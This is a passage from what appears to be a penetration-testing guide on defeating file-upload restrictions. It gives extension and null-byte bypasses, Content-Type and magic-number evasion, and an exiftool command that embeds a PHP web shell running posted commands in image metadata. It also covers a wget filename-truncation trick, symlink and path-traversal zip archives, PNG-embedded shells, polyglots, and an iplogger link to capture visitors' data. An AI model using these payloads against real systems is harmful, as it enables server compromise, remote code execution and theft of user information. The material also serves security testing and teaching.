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1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2._Check **adding a valid extension before** the execution extension \(use previous extensions also\):_
* _file.png.php_
* _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. \(_Note that you can also try to use the **previously** motioned **extensions**_\)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data \(**null** bytes\) between extensions. _You can also use the **previous extensions** to prepare a better payload._
* _file.png.php_
* _file.png.pHp5_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _flile.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. **\*\*\(useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php\*\* will execute code\):
7. Using **NTFS alternate data stream \(ADS\)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server \(e.g. “file.asax:.jpg”\). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions \(.e.g. “file.asp::$data.”\)
### Bypass Content-Type & magic number
1. Bypass Content-Type checks by setting the **value** of the **Content-Type****header** to: _image/png_ , _text/plain , application/octet-stream_
2. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
* Find a vulnerability to **rename** the file already uploaded \(to change the extension\).
* Find a **Local File Inclusion** vulnerability to execute the backdoor.
* **Possible Information disclosure**:
1. Upload **several times** \(and at the **same time**\) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. \(Windows\)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. \(Windows\)
6. Upload a file in **Windows** using **reserved** \(**forbidden**\) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
* Try also to **upload an executable** \(.exe\) or an **.html** \(less suspicious\) that **will execute code** when accidentally opened by victim.
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** \(executing it with php, or including it inside a script...\)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
### **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** \(as in this example **".gif"** is a **valid** extension\) but `wget` will **rename** the file to **"A"\*232+".php"**.
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work****unless** wget is being used with the **parameter**`--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
* If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery.md). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
* [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
* Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
### Decompress in different folders
The decompressed files will be created in unexpected folders.
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
An automated exploit to create this kind of files can be found here: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
Done!
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file \(PHp ARchive\) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
